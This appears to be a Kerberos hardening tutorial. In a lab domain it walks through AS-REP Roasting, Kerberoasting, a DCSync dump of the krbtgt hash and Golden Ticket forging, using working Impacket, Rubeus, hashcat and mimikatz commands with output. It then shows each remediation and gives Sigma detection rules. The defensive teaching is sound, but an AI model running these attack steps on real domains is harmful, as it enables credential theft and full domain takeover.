Kerberos Hardening Internals: FAST/Armoring, Pre-Auth, PAC Validation, and Encryption-Type Policy
Objective: Dissect the four load-bearing hardening dimensions of the Windows Kerberos stack – Pre-Authentication, encryption-type policy, FAST/Armoring, and PAC structure and validation – at the protocol, registry, and AD-attribute level. You will build an intentionally weak lab domain, enumerate the misconfigurations, abuse each one (AS-REP Roasting, Kerberoasting, Golden Ticket), then watch the same attacks die once the controls are turned on, and detect every step on the DC.
Most “Kerberos hardening” guides hand you a checklist and never explain why any item matters. That fails the reader the moment a control breaks a legacy client or an attacker slips past a half-applied setting. Kerberos is a small number of message exchanges wrapped around a small number of keys. Once you understand which key encrypts which blob, every roasting attack, every Golden Ticket, and every downgrade becomes obvious, and so does its fix. We build the weak domain first, break it methodically, then close each hole and prove the attack no longer works.
Contents
- 1 1. Kerberos Authentication Recap: AS/TGS Exchange and Key Material
- 2 2. Building the Vulnerable Lab
- 3 3. Pre-Authentication Deep Dive and AS-REP Roasting
- 4 4. Encryption-Type Policy and Kerberoasting
- 5 5. FAST / Kerberos Armoring Internals
- 6 6. Configuring and Enforcing FAST in Active Directory
- 7 7. PAC Internals: PACTYPE, PAC_INFO_BUFFER, and KERB_VALIDATION_INFO
- 8 8. PAC Validation and Golden Ticket Forging
- 9 9. Hardening the Full Stack: A Prescriptive Checklist
- 10 10. Defensive Strategies & Detection
- 11 11. Tools for Kerberos Hardening Analysis
- 12 12. MITRE ATT&CK Mapping
- 13 Summary
- 14 References
1. Kerberos Authentication Recap: AS/TGS Exchange and Key Material
Kerberos in Active Directory is a ticket brokerage. The Key Distribution Center (KDC), which runs on every domain controller, issues two kinds of tickets and signs authorization data inside them. Five messages carry the whole protocol.
| Message | Direction | Purpose |
|---|---|---|
AS-REQ | Client to KDC AS | Request a TGT; carries the PA-DATA pre-auth block |
AS-REP | KDC AS to Client | Returns the TGT; the client’s encrypted portion uses the client long-term key |
TGS-REQ | Client to KDC TGS | Request a service ticket; includes TGT plus Authenticator |
TGS-REP | KDC TGS to Client | Returns the service ticket |
AP-REQ | Client to Service | Present the service ticket for mutual authentication |
The keys are the entire story. Every account, user or computer, has a long-term key derived from its password (the NT hash for RC4, or a PBKDF2-style salted key for AES). The krbtgt account has its own long-term key, and that key is the master secret of the domain.
When you authenticate, the AS exchange produces a TGT that is encrypted with the krbtgt key. You cannot read your own TGT; only the KDC can. Inside the AS-REP, a second copy of the session key is encrypted with your long-term key so you can decrypt it. That single fact is the seed of AS-REP Roasting.
When you later request access to a service, the TGS exchange produces a service ticket encrypted with the target service account’s long-term key. The service decrypts it with its own key. That single fact is the seed of Kerberoasting.
Stuffed inside both tickets is the Privilege Attribute Certificate (PAC): your SID, your group memberships, your user RID, and two cryptographic checksums. The PAC is how a member server turns a ticket into a Windows access token without ever phoning home to the DC. Forge a PAC and you forge identity. That is the seed of Golden and Diamond Tickets.
Hold those three sentences. Everything below is an attack on one of those three keys or on the PAC they protect.

2. Building the Vulnerable Lab
The range is three machines on one /24.
| Host | Role | Detail |
|---|---|---|
DC01 | Domain controller / KDC | Windows Server 2022 Eval, lab.genxcyber.local, 10.0.0.1 |
WS01 | Member workstation | Windows 11, domain-joined |
kali | Attacker | Kali Linux, 10.0.0.50, same subnet |
Provision the deliberately weak objects on DC01 with PowerShell. Read each comment, because each one creates a specific abuse primitive.
# Service account with an SPN, RC4 left as default, weak password -> Kerberoast
New-ADUser -Name "svc_sql" -SamAccountName "svc_sql" `
-AccountPassword (ConvertTo-SecureString "Summer2023" -AsPlainText -Force) `
-Enabled $true -PasswordNeverExpires $true
Set-ADUser svc_sql -ServicePrincipalNames @{Add="MSSQLSvc/db01.lab.genxcyber.local:1433"}
# msDS-SupportedEncryptionTypes deliberately left unset (0) -> KDC defaults to RC4
# User with pre-auth disabled -> AS-REP Roast
New-ADUser -Name "alice" -SamAccountName "alice" `
-AccountPassword (ConvertTo-SecureString "Springtime1" -AsPlainText -Force) -Enabled $true
Set-ADAccountControl alice -DoesNotRequirePreAuth $true
# (no stdout on success; verify below)
Confirm the domain SID and the krbtgt object now, because you need both later.
Get-ADDomain | Select-Object DomainSID, NetBIOSName, DNSRoot
DomainSID NetBIOSName DNSRoot
--------- ----------- -------
S-1-5-21-1004336348-1177238915-682003330 LAB lab.genxcyber.local
The domain functional level is left at default and FAST/Armoring is Not Configured at the GPO level, PACRequestorEnforcement = 0, and the krbtgt password has never been rotated. That is a realistic “nobody touched Kerberos since the forest was built” posture. Now we attack it.
3. Pre-Authentication Deep Dive and AS-REP Roasting
3.1 How pre-auth actually works
When pre-authentication is enabled, which is the default, the client proves it knows the password before the KDC issues anything. The AS-REQ carries a PA-ENC-TIMESTAMP pre-auth block: the current time, encrypted with the client’s long-term key. The KDC decrypts it with the key it has on file. If the plaintext is a sane timestamp, you knew the password, and the KDC returns the AS-REP.
The encrypted part of that AS-REP contains the TGT session key, sealed with your long-term key. Here is the problem. When DONT_REQUIRE_PREAUTH is set, the KDC skips the timestamp check and hands the AS-REP to anyone who asks. The encrypted blob is still keyed with the user’s password-derived key. So an unauthenticated attacker receives ciphertext whose plaintext structure is known, and cracks the password offline. No lockout, no logon, no noise on the wire beyond a single ticket request.
The userAccountControl bit responsible is DONT_REQUIRE_PREAUTH = 0x400000 (decimal 4194304). MITRE catalogs the attack as T1558.004.
3.2 Enumeration: find the pre-auth holes first
Never roast blind. Find accounts with the flag set. From a domain-authenticated context, LDAP is the cleanest source. The bit-and filter 1.2.840.113556.1.4.803:=4194304 matches the flag exactly.
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties userAccountControl |
Select-Object SamAccountName, userAccountControl
SamAccountName userAccountControl
-------------- ------------------
alice 4260352
From Kali with no credentials at all, Impacket will both enumerate and harvest in one shot if you feed it a username list.
impacket-GetNPUsers lab.genxcyber.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
Impacket v0.11.0 - Copyright 2023 Fortra
[-] User bob doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User carol doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$alice@LAB.GENXCYBER.LOCAL:f4a01c...c9b2$8e1d6f3a9c...e07
The 23 in $krb5asrep$23$ is etype 0x17, RC4-HMAC. That single account with the flag is your foothold. Everyone else is correctly rejected.
3.3 Trigger and crack
The tool sent an AS-REQ with no PA-ENC-TIMESTAMP. The KDC, seeing the flag, returned the AS-REP anyway. Capture it to a file and crack offline with hashcat mode 18200.
impacket-GetNPUsers lab.genxcyber.local/ -usersfile users.txt -no-pass \
-dc-ip 10.0.0.1 -outputfile asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt rockyou.txt
$krb5asrep$23$alice@LAB.GENXCYBER.LOCAL:f4a01c...:Springtime1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Recovered........: 1/1 (100.00%) Digests
From a domain-joined WS01, Rubeus does the same thing using the current user’s context to query LDAP.
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
[*] Action: AS-REP roasting
[*] Searching for accounts that do not require preauthentication
[*] SamAccountName : alice
[*] DistinguishedName : CN=alice,CN=Users,DC=lab,DC=genxcyber,DC=local
[*] Using domain controller: DC01.lab.genxcyber.local
[*] Hash written to asrep.txt
3.4 Remediation and proof
Clear the flag. There is rarely a legitimate reason to keep it.
Set-ADAccountControl alice -DoesNotRequirePreAuth $false
Get-ADUser -Filter 'useraccountcontrol -band 4194304'
# (empty result: no accounts vulnerable)
Re-run GetNPUsers and the KDC now demands the encrypted timestamp, returning KDC_ERR_PREAUTH_REQUIRED. The hole is closed at the source.
4. Encryption-Type Policy and Kerberoasting
4.1 Why RC4 service tickets are a gift to attackers
Any authenticated user can request a service ticket for any SPN. That is by design; the TGS does not check whether you can actually reach the service. The service ticket is encrypted with the service account’s long-term key. If that account is a user object (a service account) with a weak password, you crack the ticket offline and recover the cleartext password.
The encryption type matters enormously. RC4-HMAC (etype 0x17) derives the ticket key directly from the NT hash with no salt and no iteration count, so hashcat chews through it at billions of guesses per second. AES256 (etype 0x12) uses 4096 PBKDF2 iterations with a salt, slowing cracking by orders of magnitude. The msDS-SupportedEncryptionTypes attribute on the target account decides which etype the KDC will issue. When it is blank or 0, the KDC historically defaults to RC4. MITRE tracks this as T1558.003.
The bitmask:
| Bit | Encryption Type |
|---|---|
0x01 | DES-CBC-CRC |
0x02 | DES-CBC-MD5 |
0x04 | RC4-HMAC |
0x08 | AES128-CTS-HMAC-SHA1-96 |
0x10 | AES256-CTS-HMAC-SHA1-96 |
4.2 Enumeration: find roastable SPNs and their etypes
First, who has SPNs at all? Machine accounts have SPNs too but their passwords are 120-character random strings, so target user objects.
Get-ADUser -Filter 'ServicePrincipalName -like "*"' `
-Properties ServicePrincipalName, msDS-SupportedEncryptionTypes |
Select-Object SamAccountName, ServicePrincipalName, msDS-SupportedEncryptionTypes
SamAccountName ServicePrincipalName msDS-SupportedEncryptionTypes
-------------- -------------------- -----------------------------
svc_sql {MSSQLSvc/db01.lab.genxcyber.local:1433} 0
msDS-SupportedEncryptionTypes of 0 is the tell. The KDC will issue an RC4 ticket for svc_sql. From Kali, enumerate the same thing over LDAP with any valid low-priv credential.
impacket-GetUserSPNs lab.genxcyber.local/bob:Autumn2023 -dc-ip 10.0.0.1
ServicePrincipalName Name MemberOf PasswordLastSet
---------------------------------------- ------- -------- -------------------
MSSQLSvc/db01.lab.genxcyber.local:1433 svc_sql 2023-09-14 11:02:17
4.3 Trigger and crack
Request the ticket and dump the crackable blob in one command.
impacket-GetUserSPNs lab.genxcyber.local/bob:Autumn2023 -dc-ip 10.0.0.1 \
-request -outputfile kerberoast.txt
[*] Requesting TGS for svc_sql
$krb5tgs$23$*svc_sql$LAB.GENXCYBER.LOCAL$MSSQLSvc/db01...*$a91f...$3c2d...e8
Again 23 is RC4. Crack with hashcat mode 13100.
hashcat -m 13100 kerberoast.txt rockyou.txt
$krb5tgs$23$*svc_sql$LAB.GENXCYBER.LOCAL$MSSQLSvc/db01...:Summer2023
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Recovered........: 1/1 (100.00%) Digests
Rubeus does an OPSEC-aware version. The /rc4opsec flag requests only RC4-eligible accounts, so you do not waste tickets on AES-only targets that crack slowly and stand out.
.\Rubeus.exe kerberoast /rc4opsec /outfile:tgs_hashes.txt
[*] Target Domain : lab.genxcyber.local
[*] Searching for accounts that support RC4_HMAC, no AES, no FAST
[*] SamAccountName : svc_sql
[*] ServicePrincipalName : MSSQLSvc/db01.lab.genxcyber.local:1433
[*] Hash written to tgs_hashes.txt
4.4 Remediation: kill RC4 on service accounts
Set AES-only on the account. That makes msDS-SupportedEncryptionTypes = 0x18 (AES128 plus AES256).
Set-ADUser svc_sql -KerberosEncryptionType AES128,AES256
Get-ADUser svc_sql -Properties msDS-SupportedEncryptionTypes |
Select-Object SamAccountName, msDS-SupportedEncryptionTypes
SamAccountName msDS-SupportedEncryptionTypes
-------------- -----------------------------
svc_sql 24
24 is 0x18. Now /rc4opsec skips the account entirely, and a forced RC4 request returns an AES ticket the attacker cannot crack at scale. Pair this with a genuinely long service-account password (25+ characters or a gMSA) and Kerberoasting is dead even against AES.
4.5 The RC4 sunset at the domain level
Two CVEs drive the platform-wide trend. CVE-2022-37966 (KB5021131) changed Kerberos to default to AES-SHA1 instead of RC4 for accounts where no etype was explicitly set, starting November 2022, though RC4 stays for accounts that do not support AES. CVE-2026-20833 continues the squeeze: updates from January 2026 address weak-etype service tickets, and updates from April 2026 flip the KDC default to AES unless an admin enabled Enforcement earlier, controlled by RC4DefaultDisablementPhase under HKLM\System\CurrentControlSet\Services\Kdc.
At the domain level the relevant DC registry value is DefaultDomainSupportedEncTypes under HKLM\System\CurrentControlSet\services\KDC. The conservative default 0x27 keeps RC4 session keys; Microsoft recommends 0x3C (AES tickets plus AES session keys) for hardening, and 0x38 for AES-only environments. Windows Server 2025 already displays only AES-SHA1 and stronger by default.
5. FAST / Kerberos Armoring Internals
5.1 The armor key pipeline
Roasting works because the early Kerberos messages travel in the clear, keyed only with a crackable user secret. Flexible Authentication Secure Tunneling (FAST), defined in RFC 6113 and implemented by Microsoft as Kerberos Armoring, wraps AS-REQ, AS-REP, TGS-REQ, and TGS-REP inside a protected channel between the client and the KDC. It involves the LSA, the Netlogon service, and the KDC together.
The derivation is layered, and that layering is the point:
- The domain-joined host’s computer account runs a normal AS exchange and obtains a machine TGT. The machine password is a strong random secret, not crackable.
- Using that machine TGT, the host performs a client-server key exchange. The KDC mints a fresh armor key from session information, client and server identity, and randomness, then returns it encrypted under the existing session key.
- The user’s actual
AS-REQnow travels inside the armor key’s protected channel. ThePA-ENC-TIMESTAMPand theAS-REPreply key are no longer exposed to a passive attacker.
Because the outer channel is bootstrapped from the unbreakable machine key, an attacker who only knows usernames can no longer pull crackable material. FAST’s primary goal is exactly to prevent offline dictionary attacks against Kerberos exchange. It also fully encrypts the messages, signs Kerberos errors so they cannot be spoofed, and defends against replay and man-in-the-middle.
5.2 Wire structure
FAST shows up as PA-FX-FAST-REQUEST and PA-FX-FAST-REPLY PA-DATA elements. Inside the request is an armored KrbFastReq carrying the original AS-REQ body plus the armor field that references the machine ticket. Supported by Windows Server 2012 and Windows 8 and later, and gated behind the Windows Server 2012 domain functional level.
The honest limitation: FAST protects the exchange, not a disabled pre-auth flag and not a weak service-account password. It shuts down unauthenticated harvesting and downgrade games, and once you require armoring, an unarmored AS-REP Roast attempt from Kali simply gets refused. It is the single highest-leverage Kerberos control most domains never turn on.

6. Configuring and Enforcing FAST in Active Directory
6.1 KDC side
Path: Computer Configuration > Policies > Administrative Templates > System > Key Distribution Center. Policy: “KDC support for claims, compound authentication and Kerberos armoring”.
| KDC Option | Effect |
|---|---|
Supported | Armoring offered, not required. Safe first step. |
Always provide claims | Full RFC FAST behavior. |
Fail unarmored authentication requests | Rejects unarmored Kerberos. Non-armoring clients will fail to authenticate. |
6.2 Client side
Path: Computer Configuration > Policies > Administrative Templates > System > Kerberos. Policy: “Kerberos client support for claims, compound authentication and Kerberos armoring”, set to Enabled so domain members request armoring.
Stage it: set both to Supported, confirm no legacy clients break, then move the KDC to Fail unarmored authentication requests. Jumping straight to enforcement before every client is on Windows 8 / Server 2012 or later will lock those clients out of the domain.
6.3 Verify on the wire and prove the kill
In a Wireshark capture filtered on kerberos, an armored exchange shows the PA-FX-FAST-REQUEST padata-type and no readable PA-ENC-TIMESTAMP. With enforcement on, re-run the unauthenticated roast from Kali.
impacket-GetNPUsers lab.genxcyber.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
[-] Kerberos SessionError: KDC_ERR_POLICY(KDC policy rejects request)
KDC_ERR_POLICY (error code 12) is the armoring control refusing an unarmored request. The attacker’s no-credential harvesting path is gone.
7. PAC Internals: PACTYPE, PAC_INFO_BUFFER, and KERB_VALIDATION_INFO
7.1 The container
The PAC rides in the authorization-data field of the ticket and is defined in [MS-PAC]. The top-level PACTYPE structure is a count and an array of PAC_INFO_BUFFER entries, each pointing at a serialized buffer by offset.
typedef struct _PACTYPE {
ULONG cBuffers; // number of PAC_INFO_BUFFER entries
ULONG Version; // 0
PAC_INFO_BUFFER Buffers[1]; // array; each has ulType + cbBufferSize + Offset
} PACTYPE;
typedef struct _PAC_INFO_BUFFER {
ULONG ulType; // buffer type (table below)
ULONG cbBufferSize; // size of the serialized buffer
ULONG64 Offset; // offset from start of PACTYPE
} PAC_INFO_BUFFER;
The buffer types you care about for hardening:
ulType | Buffer | Content |
|---|---|---|
0x00000001 | PAC_LOGON_INFO | KERB_VALIDATION_INFO, NDR-encoded |
0x00000006 | PAC_SERVER_CHECKSUM | HMAC over the full PAC using the service key |
0x00000007 | PAC_PRIVSVR_CHECKSUM | HMAC over the full PAC using the KDC krbtgt key |
0x0000000A | PAC_CLIENT_INFO | ClientId (FILETIME) plus Name |
0x0000000C | PAC_ATTRIBUTES_INFO | Added Nov 2021, KB5008380 |
0x0000000D | PAC_REQUESTOR | Added Nov 2021, SID of the requesting principal |
PAC_LOGON_INFO carries a KERB_VALIDATION_INFO, a structure that is a subset of NETLOGON_VALIDATION_SAM_INFO4 from [MS-NRPC]. This is the identity the server will trust.
typedef struct _KERB_VALIDATION_INFO {
FILETIME LogoffTime;
FILETIME PasswordLastSet;
FILETIME PasswordMustChange;
RPC_UNICODE_STRING LogonServer; // KDC NetBIOS name
RPC_UNICODE_STRING LogonDomainName;
PRPC_SID LogonDomainId; // domain SID
ULONG UserId; // user RID
ULONG PrimaryGroupId; // primary group RID
ULONG GroupCount;
PGROUP_MEMBERSHIP GroupIds; // array of GROUP_MEMBERSHIP
ULONG UserFlags; // 0x0020 LOGON_EXTRA_SIDS, 0x0200 RESOURCE_GROUPS
ULONG SidCount;
PKERB_SID_AND_ATTRIBUTES ExtraSids;
PRPC_SID ResourceGroupDomainSid;
ULONG ResourceGroupCount;
PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO;
The combination of LogonDomainId plus UserId is your SID; GroupIds and ExtraSids are your group memberships. The Windows LSA reads these fields straight into the access token. Nothing here is re-checked against the directory at logon time on a member server, which is precisely why the two checksums exist.
7.3 Why the dual signature
The KDC computes PAC_SERVER_CHECKSUM with the service account key and PAC_PRIVSVR_CHECKSUM with the krbtgt key. The service can verify the server checksum because it holds its own key. But it cannot recompute the privsvr checksum, because only the KDC holds krbtgt. That second signature is what lets a server ask the DC “did you really sign this PAC?” The PAC generation is triggered on an AS request containing KERB-PA-PAC-REQUEST (padata-type 128, include-pac BOOLEAN), on cross-realm referral, or when the client has domain local groups.
8. PAC Validation and Golden Ticket Forging
8.1 The validation path
Per [MS-APDS], when a client presents an AP-REQ, the server passes the PAC to the OS to build a token. For verification it forwards the PAC signature to the DC in a KERB_VERIFY_PAC message, using the Netlogon generic pass-through ([MS-NRPC] 3.2.4.1) carrying NETLOGON_TICKET_LOGON_INFO. The DC verifies the signature and returns the result.
Crucially, member services do not always perform this validation. The ValidateKdcPacSignature value under HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters controls it: 0 means a service process does not validate the PAC, 1 means it does. When validation is off and the PAC signatures are not checked back to krbtgt, a forged PAC sails through.
8.2 Enumeration: confirm Golden Ticket viability
A Golden Ticket forges a TGT signed with the krbtgt key. Before forging, you need the krbtgt hash and you want to confirm the enforcement posture. Check PACRequestorEnforcement on the DC.
Get-ItemProperty 'HKLM:\System\CurrentControlSet\Services\Kdc' -Name PACRequestorEnforcement -ErrorAction SilentlyContinue
PACRequestorEnforcement : 0
0 means pre-KB5008380 behavior: the new PAC_REQUESTOR SID check is off, so forged tickets for arbitrary or non-existent users are accepted. Now extract krbtgt via DCSync (you need replication rights, i.e. Domain Admin or delegated DS-Replication-Get-Changes).
impacket-secretsdump lab.genxcyber.local/admin:P@ssw0rd!@10.0.0.1 -just-dc-user krbtgt
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b18b4b9b8f3c8e2a6d2f1a9c7e3d5f00:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:9f86d081884c7d659a2feaa0c55ad015...
That NT hash b18b4b9b...5f00 is the master key. Note the matching SID from Section 2: S-1-5-21-1004336348-1177238915-682003330.
8.3 Forge the Golden Ticket
mimikatz # kerberos::golden /user:FakeAdmin /domain:lab.genxcyber.local /sid:S-1-5-21-1004336348-1177238915-682003330 /krbtgt:b18b4b9b8f3c8e2a6d2f1a9c7e3d5f00 /ptt
User : FakeAdmin
Domain : lab.genxcyber.local (LAB)
SID : S-1-5-21-1004336348-1177238915-682003330
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: b18b4b9b8f3c8e2a6d2f1a9c7e3d5f00 - rc4_hmac_nt
Lifetime : 30/01/2026 14:02:11 ; 28/01/2036 14:02:11
-> Ticket : ** Pass The Ticket **
[+] Ticket successfully submitted for current session
The forged TGT, signed with the real krbtgt key, encodes FakeAdmin as RID 500 in Domain Admins, Enterprise Admins, and the rest. Because PACRequestorEnforcement = 0, nothing checks whether FakeAdmin exists. You now hold a ten-year domain-admin TGT.
8.4 Prove the enforcement breakage
The November 2021 hardening (CVE-2021-42287 / KB5008380) added PAC_ATTRIBUTES_INFO and PAC_REQUESTOR. When PACRequestorEnforcement = 2, both fields are required, and the KDC validates that the ticket’s cname resolves to the same SID carried in PAC_REQUESTOR whenever the client and KDC share a domain. Mismatch revokes the TGT automatically. Turn it on:
Set-ItemProperty 'HKLM:\System\CurrentControlSet\Services\Kdc' -Name PACRequestorEnforcement -Value 2 -Type DWord
Restart-Service kdc -Force
# (no output; KDC restarts)
Re-inject the Golden Ticket for the non-existent FakeAdmin and use it:
mimikatz # kerberos::ptt golden.kirbi
# then:
C:\> dir \\DC01\C$
The system cannot find the path specified.
KRB_AP_ERR_MODIFIED / KRB_ERR_GENERIC - the PAC_REQUESTOR SID does not resolve
Enforcement mode means Golden Tickets for non-existent users fail when the attacker is in the same domain as the DC, because the PAC_REQUESTOR SID has no matching account object. Two important caveats: forging a ticket for a real account’s SID still works (the SID resolves), and cross-domain or cross-forest Trust Tickets still pass because validation only completes when the account lives in the same domain as the DC. Enforcement is a strong control, not a cure. The cure for an exposed krbtgt is rotating its password twice in succession.

9. Hardening the Full Stack: A Prescriptive Checklist
| Control | Setting | Where |
|---|---|---|
| Pre-authentication | Remove DONT_REQUIRE_PREAUTH everywhere | userAccountControl per account |
| FAST / Armoring | Supported, then Fail unarmored | KDC + client GPO, WS2012 DFL |
| PAC requestor | PACRequestorEnforcement = 2 | HKLM\...\Services\Kdc |
| Service etypes | msDS-SupportedEncryptionTypes = 0x18 | per service account |
| Domain default etypes | DefaultDomainSupportedEncTypes = 0x3C (or 0x38 AES-only) | HKLM\...\services\KDC |
| krbtgt | Rotate twice after any exposure | reset script |
Audit pre-auth and SPN etypes domain-wide before and after:
Get-ADUser -Filter 'useraccountcontrol -band 4194304' | Measure-Object | Select Count
Get-ADUser -Filter 'ServicePrincipalName -like "*"' -Properties msDS-SupportedEncryptionTypes |
Where-Object { $_.'msDS-SupportedEncryptionTypes' -in @($null,0,4,7) } |
Select SamAccountName, msDS-SupportedEncryptionTypes
Count
-----
0
# (no rows: every SPN account is AES-only)
Bake an msDS-SupportedEncryptionTypes value into every new service-account provisioning workflow so RC4 cannot creep back in as accounts are created.
10. Defensive Strategies & Detection
Enable the audit subcategories first. Without these, the DC writes nothing useful.
| Subcategory | Setting | Catches |
|---|---|---|
Audit Kerberos Authentication Service | Success + Failure | 4768, 4771 |
Audit Kerberos Service Ticket Operations | Success + Failure | 4769 |
Audit User Account Management | Success | 4738 |
The DC Security log events that matter:
| Event ID | Trigger | Key Fields |
|---|---|---|
4768 | TGT requested | Pre-Authentication Type (0 = disabled, AS-REP Roast), Ticket Encryption Type (0x17 = RC4) |
4769 | Service ticket requested | Ticket Encryption Type (0x17 = Kerberoast signal), Service Name |
4771 | Pre-auth failed | Failure code 0x18 = bad password |
4738 | Account changed | UserAccountControl flag delta, watch for DONT_REQUIRE_PREAUTH added |
4672 | Special privileges at logon | Anomalous privilege from a forged PAC |
The highest-confidence AS-REP Roasting signal is Event ID 4768 with Pre-Authentication Type = 0, which only happens legitimately when an account genuinely has pre-auth disabled (and after hardening, that count should be zero). Add Ticket Encryption Type = 0x17 and the confidence is near total, because attackers deliberately ask for RC4. For Kerberoasting, Event ID 4769 with Ticket Encryption Type = 0x17 to a non-machine Service Name is the core indicator.
KDC-side ETW carries more. Event ID 27 from Microsoft-Windows-Kerberos-Key-Distribution-Center flags disjoint encryption types between clients and services. The PAC-enforcement events are 35 (audit mode detected a ticket missing PAC_REQUESTOR) and 36 (TGT revoked on PAC_REQUESTOR SID mismatch), both invaluable while staging KB5008380 enforcement.
| ETW Provider | Use |
|---|---|
Microsoft-Windows-Kerberos-Key-Distribution-Center | KDC events 14, 16, 27, 35, 36 |
Microsoft-Windows-Security-Auditing | 4768, 4769, 4771, 4738 |
Microsoft-Windows-Kerberos-Client | Client failures, etype negotiation |
Sigma rules
title: AS-REP Roasting - Pre-Auth Disabled
logsource:
product: windows
service: security
detection:
selection:
EventID: 4768
PreAuthType: '0'
TicketEncryptionType: '0x17'
condition: selection
falsepositives:
- Accounts legitimately configured with pre-auth disabled (should be zero)
level: high
tags:
- attack.credential_access
- attack.t1558.004
title: Kerberoasting - RC4 TGS Request
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17'
filter:
ServiceName|endswith: '$' # exclude machine accounts
condition: selection and not filter
level: high
tags:
- attack.credential_access
- attack.t1558.003
title: Kerberos Pre-Auth Disabled on User Account
logsource:
product: windows
service: security
detection:
selection:
EventID: 4738
UserAccountControl|contains: '%%2096' # DONT_REQUIRE_PREAUTH set
condition: selection
level: high
tags:
- attack.t1558.004
Tune thresholds: a single account suddenly requesting service tickets for dozens of distinct SPNs in seconds (4769 burst) is Kerberoasting regardless of etype. After enforcing AES, an RC4 4769 becomes rare enough to alert on directly.

11. Tools for Kerberos Hardening Analysis
| Tool | Description | Link |
|---|---|---|
| Rubeus | AS-REP roast, Kerberoast, ticket forging and PtT from Windows | github.com |
| Impacket | GetNPUsers, GetUserSPNs, secretsdump from Linux | github.com |
| Mimikatz | DCSync, Golden/Diamond Ticket forging, PAC manipulation | github.com |
| hashcat | Offline cracking, modes 18200 (AS-REP) and 13100 (TGS) | hashcat.net |
| Wireshark | Confirm FAST armoring and etype on the wire | wireshark.org |
| BloodHound | Map roastable accounts and DCSync paths | github.com |
| PowerShell AD module | Enumerate userAccountControl, SPNs, msDS-SupportedEncryptionTypes | microsoft.com |
12. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| AS-REP Roasting | T1558.004 | 4768 PreAuthType=0, etype 0x17 |
| Kerberoasting | T1558.003 | 4769 etype 0x17 to user SPN; 4769 burst |
| Golden Ticket | T1558.001 | 4672 anomalous privilege; PAC events 35/36 |
| OS Credential Dumping: LSASS | T1003.001 | Cross-process LSASS access (Sysmon EID 10) |
| Steal or Forge Kerberos Tickets | T1558 | Long ticket lifetimes, mismatched RID/SID |
Summary
- Kerberos hardening is key management: the TGT is sealed with the
krbtgtkey, the service ticket with the service account key, and the PAC carries two signatures, so every attack here is an attack on one of those keys or on the PAC they protect. - Pre-authentication is non-negotiable:
DONT_REQUIRE_PREAUTHhands AS-REP material to anyone; clear the flag and AS-REP Roasting (T1558.004) stops at the source. - RC4 is the Kerberoasting accelerant: set
msDS-SupportedEncryptionTypes = 0x18per service account andDefaultDomainSupportedEncTypes = 0x3Cdomain-wide, riding the CVE-2022-37966 and CVE-2026-20833 RC4 sunset toward AES-only. - FAST/Armoring closes the unauthenticated exchange: stage
SupportedthenFail unarmored, and watch off-box roasting returnKDC_ERR_POLICY. - PAC enforcement blunts Golden Tickets:
PACRequestorEnforcement = 2revokes forged TGTs for non-existent same-domain accounts via thePAC_REQUESTORSID check, but rotatingkrbtgttwice is still the only fix for an exposed master key. - Detect with 4768 (
PreAuthType=0), 4769 (etype0x17), 4738 (flag delta), and KDC events 27/35/36, wired into the Sigma rules above.
References
- Steal or Forge Kerberos Tickets (T1558) – MITRE ATT&CK
- AS-REP Roasting, Sub-technique T1558.004 – MITRE ATT&CK
- Understanding Microsoft Kerberos PAC Validation – Microsoft Learn (Open Specification Blog)
- Network Security: Configure Encryption Types Allowed for Kerberos – Microsoft Learn
- Detect and Remediate RC4 Usage in Kerberos – Microsoft Learn
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.